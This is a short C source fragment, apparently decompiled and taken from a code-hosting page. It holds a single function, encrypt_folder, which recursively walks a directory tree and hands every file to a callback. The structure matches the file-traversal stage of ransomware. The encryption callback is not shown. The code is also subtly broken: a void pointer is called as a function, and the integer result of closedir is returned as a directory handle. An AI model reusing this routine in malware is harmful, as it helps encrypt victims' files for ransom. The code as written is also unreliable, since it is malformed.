29 lines
683 B
C
29 lines
683 B
C
DIR* encrypt_folder(char* path, void* callback)
|
|
{
|
|
DIR* dir = opendir(path);
|
|
if (dir != 0)
|
|
{
|
|
while (true)
|
|
{
|
|
struct dirent64* dirent = readdir(dir);
|
|
if (dirent == 0)
|
|
{
|
|
break;
|
|
}
|
|
if (((uint32_t)dirent->d_type) != 4)
|
|
{
|
|
callback(&dirent->d_name);
|
|
}
|
|
else if ((strcmp(&dirent->d_name, ".") != 0 && strcmp(&dirent->d_name, "..") != 0))
|
|
{
|
|
chdir(&dirent->d_name);
|
|
encrypt_folder(".", callback);
|
|
}
|
|
}
|
|
chdir("..");
|
|
dir = closedir(dir);
|
|
}
|
|
return dir;
|
|
}
|
|
|